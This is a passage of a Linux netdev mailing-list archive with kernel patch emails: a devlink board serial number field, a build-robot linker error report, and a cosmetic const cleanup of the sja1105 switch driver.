* Re: [PATCH net-next 2/2] bnxt_en: Add board_serial_number field to info_get cb
From: Vasundhara Volam @ 2020-06-20 16:19 UTC (permalink / raw)
To: Jiri Pirko
Cc: David Miller, Netdev, Michael Chan, Jakub Kicinski, Jiri Pirko,
Jacob Keller
In-Reply-To: <20200620130724.GC2748@nanopsycho>
On Sat, Jun 20, 2020 at 6:37 PM Jiri Pirko <jiri@resnulli.us> wrote:
>
> Sat, Jun 20, 2020 at 10:15:47AM CEST, vasundhara-v.volam@broadcom.com wrote:
> >Add board_serial_number field info to info_get cb via devlink,
> >if driver can fetch the information from the device.
> >
> >Cc: Jiri Pirko <jiri@mellanox.com>
> >Cc: Jakub Kicinski <kuba@kernel.org>
> >Signed-off-by: Vasundhara Volam <vasundhara-v.volam@broadcom.com>
> >Reviewed-by: Michael Chan <michael.chan@broadcom.com>
> >---
> > drivers/net/ethernet/broadcom/bnxt/bnxt_devlink.c | 7 +++++++
> > 1 file changed, 7 insertions(+)
> >
> >diff --git a/drivers/net/ethernet/broadcom/bnxt/bnxt_devlink.c b/drivers/net/ethernet/broadcom/bnxt/bnxt_devlink.c
> >index a812beb..16eca3b 100644
> >--- a/drivers/net/ethernet/broadcom/bnxt/bnxt_devlink.c
> >+++ b/drivers/net/ethernet/broadcom/bnxt/bnxt_devlink.c
> >@@ -411,6 +411,13 @@ static int bnxt_dl_info_get(struct devlink *dl, struct devlink_info_req *req,
> > return rc;
> > }
> >
> >+ if (strlen(bp->board_serialno)) {
> >+ rc = devlink_info_board_serial_number_put(req,
>
> No need for linebreak here.
Ah yes, now the column limit is 100. I will fix and send a v2. Thanks.
>
> >+ bp->board_serialno);
> >+ if (rc)
> >+ return rc;
> >+ }
> >+
> > sprintf(buf, "%X", bp->chip_num);
> > rc = devlink_info_version_fixed_put(req,
> > DEVLINK_INFO_VERSION_GENERIC_ASIC_ID, buf);
> >--
> >1.8.3.1
> >
^ permalink raw reply
* [PATCH v2 net-next 0/2] devlink: Add board.serial_number field to info_get cb.
From: Vasundhara Volam @ 2020-06-20 16:31 UTC (permalink / raw)
To: davem; +Cc: netdev, michael.chan, kuba, jiri, jacob.e.keller,
Vasundhara Volam
This patchset adds support for board.serial_number to devlink info_get
cb and also use it in bnxt_en driver.
Sample output:
$ devlink dev info pci/0000:af:00.1
pci/0000:af:00.1:
driver bnxt_en
serial_number 00-10-18-FF-FE-AD-1A-00
board.serial_number 433551F+172300000
versions:
fixed:
board.id 7339763 Rev 0.
asic.id 16D7
asic.rev 1
running:
fw 216.1.216.0
fw.psid 0.0.0
fw.mgmt 216.1.192.0
fw.mgmt.api 1.10.1
fw.ncsi 0.0.0.0
fw.roce 216.1.16.0
---
v2:
- Modify board_serial_number to board.serial_number for maintaining
consistency.
- Combine 2 lines in second patchset as column limit is 100 now
---
Vasundhara Volam (2):
devlink: Add support for board.serial_number to info_get cb.
bnxt_en: Add board.serial_number field to info_get cb
Documentation/networking/devlink/devlink-info.rst | 12 +++++-------
drivers/net/ethernet/broadcom/bnxt/bnxt_devlink.c | 6 ++++++
include/net/devlink.h | 2 ++
include/uapi/linux/devlink.h | 2 ++
net/core/devlink.c | 8 ++++++++
5 files changed, 23 insertions(+), 7 deletions(-)
--
1.8.3.1
^ permalink raw reply
* [PATCH v2 net-next 1/2] devlink: Add support for board.serial_number to info_get cb.
From: Vasundhara Volam @ 2020-06-20 16:31 UTC (permalink / raw)
To: davem; +Cc: netdev, michael.chan, kuba, jiri, jacob.e.keller,
Vasundhara Volam
In-Reply-To: <1592670717-28851-1-git-send-email-vasundhara-v.volam@broadcom.com>
Board serial number is a serial number, often available in PCI
*Vital Product Data*.
Also, update devlink-info.rst documentation file.
Cc: Jiri Pirko <jiri@mellanox.com>
Cc: Jakub Kicinski <kuba@kernel.org>
Signed-off-by: Vasundhara Volam <vasundhara-v.volam@broadcom.com>
Reviewed-by: Michael Chan <michael.chan@broadcom.com>
Reviewed-by: Jiri Pirko <jiri@mellanox.com>
---
v2: Modify board_serial_number to board.serial_number
---
Documentation/networking/devlink/devlink-info.rst | 12 +++++-------
include/net/devlink.h | 2 ++
include/uapi/linux/devlink.h | 2 ++
net/core/devlink.c | 8 ++++++++
4 files changed, 17 insertions(+), 7 deletions(-)
diff --git a/Documentation/networking/devlink/devlink-info.rst b/Documentation/networking/devlink/devlink-info.rst
index 3fe1140..7572bf6 100644
--- a/Documentation/networking/devlink/devlink-info.rst
+++ b/Documentation/networking/devlink/devlink-info.rst
@@ -44,9 +44,11 @@ versions is generally discouraged - here, and via any other Linux API.
reported for two ports of the same device or on two hosts of
a multi-host device should be identical.
- .. note:: ``devlink-info`` API should be extended with a new field
- if devices want to report board/product serial number (often
- reported in PCI *Vital Product Data* capability).
+ * - ``board.serial_number``
+ - Board serial number of the device.
+
+ This is usually the serial number of the board, often available in
+ PCI *Vital Product Data*.
* - ``fixed``
- Group for hardware identifiers, and versions of components
@@ -201,10 +203,6 @@ Future work
The following extensions could be useful:
- - product serial number - NIC boards often get labeled with a board serial
- number rather than ASIC serial number; it'd be useful to add board serial
- numbers to the API if they can be retrieved from the device;
-
- on-disk firmware file names - drivers list the file names of firmware they
may need to load onto devices via the ``MODULE_FIRMWARE()`` macro. These,
however, are per module, rather than per device. It'd be useful to list
diff --git a/include/net/devlink.h b/include/net/devlink.h
index 1df6dfe..a8ceb7b 100644
--- a/include/net/devlink.h
+++ b/include/net/devlink.h
@@ -1262,6 +1262,8 @@ int devlink_info_serial_number_put(struct devlink_info_req *req,
const char *sn);
int devlink_info_driver_name_put(struct devlink_info_req *req,
const char *name);
+int devlink_info_board_serial_number_put(struct devlink_info_req *req,
+ const char *bsn);
int devlink_info_version_fixed_put(struct devlink_info_req *req,
const char *version_name,
const char *version_value);
diff --git a/include/uapi/linux/devlink.h b/include/uapi/linux/devlink.h
index 08563e6..06eb29c 100644
--- a/include/uapi/linux/devlink.h
+++ b/include/uapi/linux/devlink.h
@@ -451,6 +451,8 @@ enum devlink_attr {
DEVLINK_ATTR_TRAP_POLICER_RATE, /* u64 */
DEVLINK_ATTR_TRAP_POLICER_BURST, /* u64 */
+ DEVLINK_ATTR_INFO_BOARD_SERIAL_NUMBER, /* string */
+
/* add new attributes above here, update the policy in devlink.c */
__DEVLINK_ATTR_MAX,
diff --git a/net/core/devlink.c b/net/core/devlink.c
index 2cafbc8..a97c169 100644
--- a/net/core/devlink.c
+++ b/net/core/devlink.c
@@ -4378,6 +4378,14 @@ int devlink_info_serial_number_put(struct devlink_info_req *req, const char *sn)
}
EXPORT_SYMBOL_GPL(devlink_info_serial_number_put);
+int devlink_info_board_serial_number_put(struct devlink_info_req *req,
+ const char *bsn)
+{
+ return nla_put_string(req->msg, DEVLINK_ATTR_INFO_BOARD_SERIAL_NUMBER,
+ bsn);
+}
+EXPORT_SYMBOL_GPL(devlink_info_board_serial_number_put);
+
static int devlink_info_version_put(struct devlink_info_req *req, int attr,
const char *version_name,
const char *version_value)
--
1.8.3.1
^ permalink raw reply related
* [PATCH v2 net-next 2/2] bnxt_en: Add board.serial_number field to info_get cb
From: Vasundhara Volam @ 2020-06-20 16:31 UTC (permalink / raw)
To: davem; +Cc: netdev, michael.chan, kuba, jiri, jacob.e.keller,
Vasundhara Volam
In-Reply-To: <1592670717-28851-1-git-send-email-vasundhara-v.volam@broadcom.com>
Add board.serial_number field info to info_get cb via devlink,
if driver can fetch the information from the device.
Cc: Jiri Pirko <jiri@mellanox.com>
Cc: Jakub Kicinski <kuba@kernel.org>
Signed-off-by: Vasundhara Volam <vasundhara-v.volam@broadcom.com>
Reviewed-by: Michael Chan <michael.chan@broadcom.com>
---
v2: Combine 2 lines as column limit is increased to 100 now.
---
drivers/net/ethernet/broadcom/bnxt/bnxt_devlink.c | 6 ++++++
1 file changed, 6 insertions(+)
diff --git a/drivers/net/ethernet/broadcom/bnxt/bnxt_devlink.c b/drivers/net/ethernet/broadcom/bnxt/bnxt_devlink.c
index a812beb..2bd610f 100644
--- a/drivers/net/ethernet/broadcom/bnxt/bnxt_devlink.c
+++ b/drivers/net/ethernet/broadcom/bnxt/bnxt_devlink.c
@@ -411,6 +411,12 @@ static int bnxt_dl_info_get(struct devlink *dl, struct devlink_info_req *req,
return rc;
}
+ if (strlen(bp->board_serialno)) {
+ rc = devlink_info_board_serial_number_put(req, bp->board_serialno);
+ if (rc)
+ return rc;
+ }
+
sprintf(buf, "%X", bp->chip_num);
rc = devlink_info_version_fixed_put(req,
DEVLINK_INFO_VERSION_GENERIC_ASIC_ID, buf);
--
1.8.3.1
^ permalink raw reply related
* Re: [PATCH net-next 5/5] net: dsa: felix: use the Lynx PCS helpers
From: kernel test robot @ 2020-06-20 15:46 UTC (permalink / raw)
To: Ioana Ciornei, netdev, davem
Cc: kbuild-all, vladimir.oltean, claudiu.manoil, alexandru.marginean,
michael, andrew, linux, f.fainelli, Ioana Ciornei
In-Reply-To: <20200618120837.27089-6-ioana.ciornei@nxp.com>
[-- Attachment #1: Type: text/plain, Size: 2311 bytes --]
Hi Ioana,
I love your patch! Yet something to improve:
[auto build test ERROR on net-next/master]
url: https://github.com/0day-ci/linux/commits/Ioana-Ciornei/net-phy-add-Lynx-PCS-MDIO-module/20200618-201314
base: https://git.kernel.org/pub/scm/linux/kernel/git/davem/net-next.git cb8e59cc87201af93dfbb6c3dccc8fcad72a09c2
config: i386-allmodconfig (attached as .config)
compiler: gcc-9 (Debian 9.3.0-13) 9.3.0
If you fix the issue, kindly add following tag as appropriate
Reported-by: kernel test robot <lkp@intel.com>
All errors (new ones prefixed by >>):
ld: drivers/net/phy/mdio-lynx-pcs.o: in function `lynx_pcs_config':
mdio-lynx-pcs.c:(.text+0x47): undefined reference to `mdiobus_write'
>> ld: mdio-lynx-pcs.c:(.text+0x68): undefined reference to `mdiobus_modify'
>> ld: mdio-lynx-pcs.c:(.text+0x79): undefined reference to `phylink_mii_c22_pcs_config'
>> ld: mdio-lynx-pcs.c:(.text+0xae): undefined reference to `mdiobus_write'
ld: mdio-lynx-pcs.c:(.text+0xed): undefined reference to `mdiobus_write'
ld: mdio-lynx-pcs.c:(.text+0xfe): undefined reference to `mdiobus_write'
ld: drivers/net/phy/mdio-lynx-pcs.o: in function `lynx_pcs_an_restart':
mdio-lynx-pcs.c:(.text+0x14d): undefined reference to `mdiobus_write'
>> ld: mdio-lynx-pcs.c:(.text+0x160): undefined reference to `phylink_mii_c22_pcs_an_restart'
ld: drivers/net/phy/mdio-lynx-pcs.o: in function `lynx_pcs_link_up':
mdio-lynx-pcs.c:(.text+0x262): undefined reference to `mdiobus_modify'
ld: mdio-lynx-pcs.c:(.text+0x2a3): undefined reference to `mdiobus_write'
ld: drivers/net/phy/mdio-lynx-pcs.o: in function `lynx_pcs_get_state':
mdio-lynx-pcs.c:(.text+0x2f2): undefined reference to `phylink_mii_c22_pcs_get_state'
>> ld: mdio-lynx-pcs.c:(.text+0x32b): undefined reference to `mdiobus_read'
ld: mdio-lynx-pcs.c:(.text+0x364): undefined reference to `mdiobus_read'
>> ld: mdio-lynx-pcs.c:(.text+0x3da): undefined reference to `phy_duplex_to_str'
>> ld: mdio-lynx-pcs.c:(.text+0x3e5): undefined reference to `phy_speed_to_str'
ld: mdio-lynx-pcs.c:(.text+0x44c): undefined reference to `mdiobus_read'
ld: mdio-lynx-pcs.c:(.text+0x45e): undefined reference to `mdiobus_read'
---
0-DAY CI Kernel Test Service, Intel Corporation
https://lists.01.org/hyperkitty/list/kbuild-all@lists.01.org
[-- Attachment #2: .config.gz --]
[-- Type: application/gzip, Size: 74071 bytes --]
^ permalink raw reply
* [PATCH net-next 0/3] Cosmetic cleanup in SJA1105 DSA driver
From: Vladimir Oltean @ 2020-06-20 17:18 UTC (permalink / raw)
To: davem, netdev; +Cc: andrew, f.fainelli, vivien.didelot
From: Vladimir Oltean <vladimir.oltean@nxp.com>
This removes the sparse warnings from the sja1105 driver and makes some
structures constant.
Vladimir Oltean (3):
net: dsa: sja1105: remove empty structures from config table ops
net: dsa: sja1105: make config table operation structures constant
net: dsa: sja1105: make the instantiations of struct sja1105_info
constant
drivers/net/dsa/sja1105/sja1105.h | 12 +++----
.../net/dsa/sja1105/sja1105_dynamic_config.c | 25 ++-----------
.../net/dsa/sja1105/sja1105_dynamic_config.h | 4 +--
drivers/net/dsa/sja1105/sja1105_spi.c | 17 +++++----
.../net/dsa/sja1105/sja1105_static_config.c | 36 ++++---------------
.../net/dsa/sja1105/sja1105_static_config.h | 12 +++----
6 files changed, 33 insertions(+), 73 deletions(-)
--
2.25.1
^ permalink raw reply
* [PATCH net-next 3/3] net: dsa: sja1105: make the instantiations of struct sja1105_info constant
From: Vladimir Oltean @ 2020-06-20 17:18 UTC (permalink / raw)
To: davem, netdev; +Cc: andrew, f.fainelli, vivien.didelot
In-Reply-To: <20200620171832.3679837-1-olteanv@gmail.com>
From: Vladimir Oltean <vladimir.oltean@nxp.com>
Since struct sja1105_private only holds a const pointer to one of these
structures based on device tree compatible string, the structures
themselves can be made const.
Also add an empty line between each structure definition, to appease
checkpatch.
Signed-off-by: Vladimir Oltean <vladimir.oltean@nxp.com>
---
drivers/net/dsa/sja1105/sja1105.h | 12 ++++++------
drivers/net/dsa/sja1105/sja1105_spi.c | 17 +++++++++++------
2 files changed, 17 insertions(+), 12 deletions(-)
diff --git a/drivers/net/dsa/sja1105/sja1105.h b/drivers/net/dsa/sja1105/sja1105.h
index 29ed21687295..ba70b40a9a95 100644
--- a/drivers/net/dsa/sja1105/sja1105.h
+++ b/drivers/net/dsa/sja1105/sja1105.h
@@ -262,12 +262,12 @@ int sja1105_static_config_upload(struct sja1105_private *priv);
int sja1105_inhibit_tx(const struct sja1105_private *priv,
unsigned long port_bitmap, bool tx_inhibited);
-extern struct sja1105_info sja1105e_info;
-extern struct sja1105_info sja1105t_info;
-extern struct sja1105_info sja1105p_info;
-extern struct sja1105_info sja1105q_info;
-extern struct sja1105_info sja1105r_info;
-extern struct sja1105_info sja1105s_info;
+extern const struct sja1105_info sja1105e_info;
+extern const struct sja1105_info sja1105t_info;
+extern const struct sja1105_info sja1105p_info;
+extern const struct sja1105_info sja1105q_info;
+extern const struct sja1105_info sja1105r_info;
+extern const struct sja1105_info sja1105s_info;
/* From sja1105_clocking.c */
diff --git a/drivers/net/dsa/sja1105/sja1105_spi.c b/drivers/net/dsa/sja1105/sja1105_spi.c
index bb52b9c841b2..704dcf1d1c01 100644
--- a/drivers/net/dsa/sja1105/sja1105_spi.c
+++ b/drivers/net/dsa/sja1105/sja1105_spi.c
@@ -507,7 +507,7 @@ static struct sja1105_regs sja1105pqrs_regs = {
.ptpsyncts = 0x1F,
};
-struct sja1105_info sja1105e_info = {
+const struct sja1105_info sja1105e_info = {
.device_id = SJA1105E_DEVICE_ID,
.part_no = SJA1105ET_PART_NO,
.static_ops = sja1105e_table_ops,
@@ -523,7 +523,8 @@ struct sja1105_info sja1105e_info = {
.regs = &sja1105et_regs,
.name = "SJA1105E",
};
-struct sja1105_info sja1105t_info = {
+
+const struct sja1105_info sja1105t_info = {
.device_id = SJA1105T_DEVICE_ID,
.part_no = SJA1105ET_PART_NO,
.static_ops = sja1105t_table_ops,
@@ -539,7 +540,8 @@ struct sja1105_info sja1105t_info = {
.regs = &sja1105et_regs,
.name = "SJA1105T",
};
-struct sja1105_info sja1105p_info = {
+
+const struct sja1105_info sja1105p_info = {
.device_id = SJA1105PR_DEVICE_ID,
.part_no = SJA1105P_PART_NO,
.static_ops = sja1105p_table_ops,
@@ -556,7 +558,8 @@ struct sja1105_info sja1105p_info = {
.regs = &sja1105pqrs_regs,
.name = "SJA1105P",
};
-struct sja1105_info sja1105q_info = {
+
+const struct sja1105_info sja1105q_info = {
.device_id = SJA1105QS_DEVICE_ID,
.part_no = SJA1105Q_PART_NO,
.static_ops = sja1105q_table_ops,
@@ -573,7 +576,8 @@ struct sja1105_info sja1105q_info = {
.regs = &sja1105pqrs_regs,
.name = "SJA1105Q",
};
-struct sja1105_info sja1105r_info = {
+
+const struct sja1105_info sja1105r_info = {
.device_id = SJA1105PR_DEVICE_ID,
.part_no = SJA1105R_PART_NO,
.static_ops = sja1105r_table_ops,
@@ -590,7 +594,8 @@ struct sja1105_info sja1105r_info = {
.regs = &sja1105pqrs_regs,
.name = "SJA1105R",
};
-struct sja1105_info sja1105s_info = {
+
+const struct sja1105_info sja1105s_info = {
.device_id = SJA1105QS_DEVICE_ID,
.part_no = SJA1105S_PART_NO,
.static_ops = sja1105s_table_ops,
--
2.25.1
^ permalink raw reply related
* [PATCH net-next 1/3] net: dsa: sja1105: remove empty structures from config table ops
From: Vladimir Oltean @ 2020-06-20 17:18 UTC (permalink / raw)
To: davem, netdev; +Cc: andrew, f.fainelli, vivien.didelot
In-Reply-To: <20200620171832.3679837-1-olteanv@gmail.com>
From: Vladimir Oltean <vladimir.oltean@nxp.com>
Sparse is complaining and giving the following warning message:
'Using plain integer as NULL pointer'.
This is not what's going on, instead {0} is used as a zero initializer
for the structure members, to indicate that the particular chip revision
does not support those particular config tables.
But since the config tables are declared globally, the unpopulated
elements are zero-initialized anyway. So, to make sparse shut up, let's
remove the zero initializers.
Signed-off-by: Vladimir Oltean <vladimir.oltean@nxp.com>
---
.../net/dsa/sja1105/sja1105_dynamic_config.c | 21 ----------------
.../net/dsa/sja1105/sja1105_static_config.c | 24 -------------------
2 files changed, 45 deletions(-)
diff --git a/drivers/net/dsa/sja1105/sja1105_dynamic_config.c b/drivers/net/dsa/sja1105/sja1105_dynamic_config.c
index 4471eeccc293..331593ace215 100644
--- a/drivers/net/dsa/sja1105/sja1105_dynamic_config.c
+++ b/drivers/net/dsa/sja1105/sja1105_dynamic_config.c
@@ -639,8 +639,6 @@ static size_t sja1105pqrs_cbs_entry_packing(void *buf, void *entry_ptr,
/* SJA1105E/T: First generation */
struct sja1105_dynamic_table_ops sja1105et_dyn_ops[BLK_IDX_MAX_DYN] = {
- [BLK_IDX_SCHEDULE] = {0},
- [BLK_IDX_SCHEDULE_ENTRY_POINTS] = {0},
[BLK_IDX_VL_LOOKUP] = {
.entry_packing = sja1105et_vl_lookup_entry_packing,
.cmd_packing = sja1105_vl_lookup_cmd_packing,
@@ -649,8 +647,6 @@ struct sja1105_dynamic_table_ops sja1105et_dyn_ops[BLK_IDX_MAX_DYN] = {
.packed_size = SJA1105ET_SJA1105_SIZE_VL_LOOKUP_DYN_CMD,
.addr = 0x35,
},
- [BLK_IDX_VL_POLICING] = {0},
- [BLK_IDX_VL_FORWARDING] = {0},
[BLK_IDX_L2_LOOKUP] = {
.entry_packing = sja1105et_dyn_l2_lookup_entry_packing,
.cmd_packing = sja1105et_l2_lookup_cmd_packing,
@@ -667,7 +663,6 @@ struct sja1105_dynamic_table_ops sja1105et_dyn_ops[BLK_IDX_MAX_DYN] = {
.packed_size = SJA1105ET_SIZE_L2_LOOKUP_DYN_CMD,
.addr = 0x20,
},
- [BLK_IDX_L2_POLICING] = {0},
[BLK_IDX_VLAN_LOOKUP] = {
.entry_packing = sja1105_vlan_lookup_entry_packing,
.cmd_packing = sja1105_vlan_lookup_cmd_packing,
@@ -692,9 +687,6 @@ struct sja1105_dynamic_table_ops sja1105et_dyn_ops[BLK_IDX_MAX_DYN] = {
.packed_size = SJA1105ET_SIZE_MAC_CONFIG_DYN_CMD,
.addr = 0x36,
},
- [BLK_IDX_SCHEDULE_PARAMS] = {0},
- [BLK_IDX_SCHEDULE_ENTRY_POINTS_PARAMS] = {0},
- [BLK_IDX_VL_FORWARDING_PARAMS] = {0},
[BLK_IDX_L2_LOOKUP_PARAMS] = {
.entry_packing = sja1105et_l2_lookup_params_entry_packing,
.cmd_packing = sja1105et_l2_lookup_params_cmd_packing,
@@ -703,8 +695,6 @@ struct sja1105_dynamic_table_ops sja1105et_dyn_ops[BLK_IDX_MAX_DYN] = {
.packed_size = SJA1105ET_SIZE_L2_LOOKUP_PARAMS_DYN_CMD,
.addr = 0x38,
},
- [BLK_IDX_L2_FORWARDING_PARAMS] = {0},
- [BLK_IDX_AVB_PARAMS] = {0},
[BLK_IDX_GENERAL_PARAMS] = {
.entry_packing = sja1105et_general_params_entry_packing,
.cmd_packing = sja1105et_general_params_cmd_packing,
@@ -729,13 +719,10 @@ struct sja1105_dynamic_table_ops sja1105et_dyn_ops[BLK_IDX_MAX_DYN] = {
.packed_size = SJA1105ET_SIZE_CBS_DYN_CMD,
.addr = 0x2c,
},
- [BLK_IDX_XMII_PARAMS] = {0},
};
/* SJA1105P/Q/R/S: Second generation */
struct sja1105_dynamic_table_ops sja1105pqrs_dyn_ops[BLK_IDX_MAX_DYN] = {
- [BLK_IDX_SCHEDULE] = {0},
- [BLK_IDX_SCHEDULE_ENTRY_POINTS] = {0},
[BLK_IDX_VL_LOOKUP] = {
.entry_packing = sja1105_vl_lookup_entry_packing,
.cmd_packing = sja1105_vl_lookup_cmd_packing,
@@ -744,8 +731,6 @@ struct sja1105_dynamic_table_ops sja1105pqrs_dyn_ops[BLK_IDX_MAX_DYN] = {
.packed_size = SJA1105PQRS_SJA1105_SIZE_VL_LOOKUP_DYN_CMD,
.addr = 0x47,
},
- [BLK_IDX_VL_POLICING] = {0},
- [BLK_IDX_VL_FORWARDING] = {0},
[BLK_IDX_L2_LOOKUP] = {
.entry_packing = sja1105pqrs_dyn_l2_lookup_entry_packing,
.cmd_packing = sja1105pqrs_l2_lookup_cmd_packing,
@@ -762,7 +747,6 @@ struct sja1105_dynamic_table_ops sja1105pqrs_dyn_ops[BLK_IDX_MAX_DYN] = {
.packed_size = SJA1105PQRS_SIZE_L2_LOOKUP_DYN_CMD,
.addr = 0x24,
},
- [BLK_IDX_L2_POLICING] = {0},
[BLK_IDX_VLAN_LOOKUP] = {
.entry_packing = sja1105_vlan_lookup_entry_packing,
.cmd_packing = sja1105_vlan_lookup_cmd_packing,
@@ -787,9 +771,6 @@ struct sja1105_dynamic_table_ops sja1105pqrs_dyn_ops[BLK_IDX_MAX_DYN] = {
.packed_size = SJA1105PQRS_SIZE_MAC_CONFIG_DYN_CMD,
.addr = 0x4B,
},
- [BLK_IDX_SCHEDULE_PARAMS] = {0},
- [BLK_IDX_SCHEDULE_ENTRY_POINTS_PARAMS] = {0},
- [BLK_IDX_VL_FORWARDING_PARAMS] = {0},
[BLK_IDX_L2_LOOKUP_PARAMS] = {
.entry_packing = sja1105pqrs_l2_lookup_params_entry_packing,
.cmd_packing = sja1105pqrs_l2_lookup_params_cmd_packing,
@@ -798,7 +779,6 @@ struct sja1105_dynamic_table_ops sja1105pqrs_dyn_ops[BLK_IDX_MAX_DYN] = {
.packed_size = SJA1105PQRS_SIZE_L2_LOOKUP_PARAMS_DYN_CMD,
.addr = 0x54,
},
- [BLK_IDX_L2_FORWARDING_PARAMS] = {0},
[BLK_IDX_AVB_PARAMS] = {
.entry_packing = sja1105pqrs_avb_params_entry_packing,
.cmd_packing = sja1105pqrs_avb_params_cmd_packing,
@@ -831,7 +811,6 @@ struct sja1105_dynamic_table_ops sja1105pqrs_dyn_ops[BLK_IDX_MAX_DYN] = {
.packed_size = SJA1105PQRS_SIZE_CBS_DYN_CMD,
.addr = 0x32,
},
- [BLK_IDX_XMII_PARAMS] = {0},
};
/* Provides read access to the settings through the dynamic interface
diff --git a/drivers/net/dsa/sja1105/sja1105_static_config.c b/drivers/net/dsa/sja1105/sja1105_static_config.c
index ff3fe471efc2..fb44c0a72285 100644
--- a/drivers/net/dsa/sja1105/sja1105_static_config.c
+++ b/drivers/net/dsa/sja1105/sja1105_static_config.c
@@ -839,11 +839,6 @@ sja1105_static_config_get_length(const struct sja1105_static_config *config)
/* SJA1105E: First generation, no TTEthernet */
struct sja1105_table_ops sja1105e_table_ops[BLK_IDX_MAX] = {
- [BLK_IDX_SCHEDULE] = {0},
- [BLK_IDX_SCHEDULE_ENTRY_POINTS] = {0},
- [BLK_IDX_VL_LOOKUP] = {0},
- [BLK_IDX_VL_POLICING] = {0},
- [BLK_IDX_VL_FORWARDING] = {0},
[BLK_IDX_L2_LOOKUP] = {
.packing = sja1105et_l2_lookup_entry_packing,
.unpacked_entry_size = sizeof(struct sja1105_l2_lookup_entry),
@@ -874,9 +869,6 @@ struct sja1105_table_ops sja1105e_table_ops[BLK_IDX_MAX] = {
.packed_entry_size = SJA1105ET_SIZE_MAC_CONFIG_ENTRY,
.max_entry_count = SJA1105_MAX_MAC_CONFIG_COUNT,
},
- [BLK_IDX_SCHEDULE_PARAMS] = {0},
- [BLK_IDX_SCHEDULE_ENTRY_POINTS_PARAMS] = {0},
- [BLK_IDX_VL_FORWARDING_PARAMS] = {0},
[BLK_IDX_L2_LOOKUP_PARAMS] = {
.packing = sja1105et_l2_lookup_params_entry_packing,
.unpacked_entry_size = sizeof(struct sja1105_l2_lookup_params_entry),
@@ -1035,11 +1027,6 @@ struct sja1105_table_ops sja1105t_table_ops[BLK_IDX_MAX] = {
/* SJA1105P: Second generation, no TTEthernet, no SGMII */
struct sja1105_table_ops sja1105p_table_ops[BLK_IDX_MAX] = {
- [BLK_IDX_SCHEDULE] = {0},
- [BLK_IDX_SCHEDULE_ENTRY_POINTS] = {0},
- [BLK_IDX_VL_LOOKUP] = {0},
- [BLK_IDX_VL_POLICING] = {0},
- [BLK_IDX_VL_FORWARDING] = {0},
[BLK_IDX_L2_LOOKUP] = {
.packing = sja1105pqrs_l2_lookup_entry_packing,
.unpacked_entry_size = sizeof(struct sja1105_l2_lookup_entry),
@@ -1070,9 +1057,6 @@ struct sja1105_table_ops sja1105p_table_ops[BLK_IDX_MAX] = {
.packed_entry_size = SJA1105PQRS_SIZE_MAC_CONFIG_ENTRY,
.max_entry_count = SJA1105_MAX_MAC_CONFIG_COUNT,
},
- [BLK_IDX_SCHEDULE_PARAMS] = {0},
- [BLK_IDX_SCHEDULE_ENTRY_POINTS_PARAMS] = {0},
- [BLK_IDX_VL_FORWARDING_PARAMS] = {0},
[BLK_IDX_L2_LOOKUP_PARAMS] = {
.packing = sja1105pqrs_l2_lookup_params_entry_packing,
.unpacked_entry_size = sizeof(struct sja1105_l2_lookup_params_entry),
@@ -1231,11 +1215,6 @@ struct sja1105_table_ops sja1105q_table_ops[BLK_IDX_MAX] = {
/* SJA1105R: Second generation, no TTEthernet, SGMII */
struct sja1105_table_ops sja1105r_table_ops[BLK_IDX_MAX] = {
- [BLK_IDX_SCHEDULE] = {0},
- [BLK_IDX_SCHEDULE_ENTRY_POINTS] = {0},
- [BLK_IDX_VL_LOOKUP] = {0},
- [BLK_IDX_VL_POLICING] = {0},
- [BLK_IDX_VL_FORWARDING] = {0},
[BLK_IDX_L2_LOOKUP] = {
.packing = sja1105pqrs_l2_lookup_entry_packing,
.unpacked_entry_size = sizeof(struct sja1105_l2_lookup_entry),
@@ -1266,9 +1245,6 @@ struct sja1105_table_ops sja1105r_table_ops[BLK_IDX_MAX] = {
.packed_entry_size = SJA1105PQRS_SIZE_MAC_CONFIG_ENTRY,
.max_entry_count = SJA1105_MAX_MAC_CONFIG_COUNT,
},
- [BLK_IDX_SCHEDULE_PARAMS] = {0},
- [BLK_IDX_SCHEDULE_ENTRY_POINTS_PARAMS] = {0},
- [BLK_IDX_VL_FORWARDING_PARAMS] = {0},
[BLK_IDX_L2_LOOKUP_PARAMS] = {
.packing = sja1105pqrs_l2_lookup_params_entry_packing,
.unpacked_entry_size = sizeof(struct sja1105_l2_lookup_params_entry),
--
2.25.1
^ permalink raw reply related
* [PATCH net-next 2/3] net: dsa: sja1105: make config table operation structures constant
From: Vladimir Oltean @ 2020-06-20 17:18 UTC (permalink / raw)
To: davem, netdev; +Cc: andrew, f.fainelli, vivien.didelot
In-Reply-To: <20200620171832.3679837-1-olteanv@gmail.com>
From: Vladimir Oltean <vladimir.oltean@nxp.com>
The per-chip instantiations of struct sja1105_table_ops and struct
sja1105_dynamic_table_ops can be made constant, so do that.
Signed-off-by: Vladimir Oltean <vladimir.oltean@nxp.com>
---
drivers/net/dsa/sja1105/sja1105_dynamic_config.c | 4 ++--
drivers/net/dsa/sja1105/sja1105_dynamic_config.h | 4 ++--
drivers/net/dsa/sja1105/sja1105_static_config.c | 12 ++++++------
drivers/net/dsa/sja1105/sja1105_static_config.h | 12 ++++++------
4 files changed, 16 insertions(+), 16 deletions(-)
diff --git a/drivers/net/dsa/sja1105/sja1105_dynamic_config.c b/drivers/net/dsa/sja1105/sja1105_dynamic_config.c
index 331593ace215..75247f342124 100644
--- a/drivers/net/dsa/sja1105/sja1105_dynamic_config.c
+++ b/drivers/net/dsa/sja1105/sja1105_dynamic_config.c
@@ -638,7 +638,7 @@ static size_t sja1105pqrs_cbs_entry_packing(void *buf, void *entry_ptr,
#define OP_SEARCH BIT(3)
/* SJA1105E/T: First generation */
-struct sja1105_dynamic_table_ops sja1105et_dyn_ops[BLK_IDX_MAX_DYN] = {
+const struct sja1105_dynamic_table_ops sja1105et_dyn_ops[BLK_IDX_MAX_DYN] = {
[BLK_IDX_VL_LOOKUP] = {
.entry_packing = sja1105et_vl_lookup_entry_packing,
.cmd_packing = sja1105_vl_lookup_cmd_packing,
@@ -722,7 +722,7 @@ struct sja1105_dynamic_table_ops sja1105et_dyn_ops[BLK_IDX_MAX_DYN] = {
};
/* SJA1105P/Q/R/S: Second generation */
-struct sja1105_dynamic_table_ops sja1105pqrs_dyn_ops[BLK_IDX_MAX_DYN] = {
+const struct sja1105_dynamic_table_ops sja1105pqrs_dyn_ops[BLK_IDX_MAX_DYN] = {
[BLK_IDX_VL_LOOKUP] = {
.entry_packing = sja1105_vl_lookup_entry_packing,
.cmd_packing = sja1105_vl_lookup_cmd_packing,
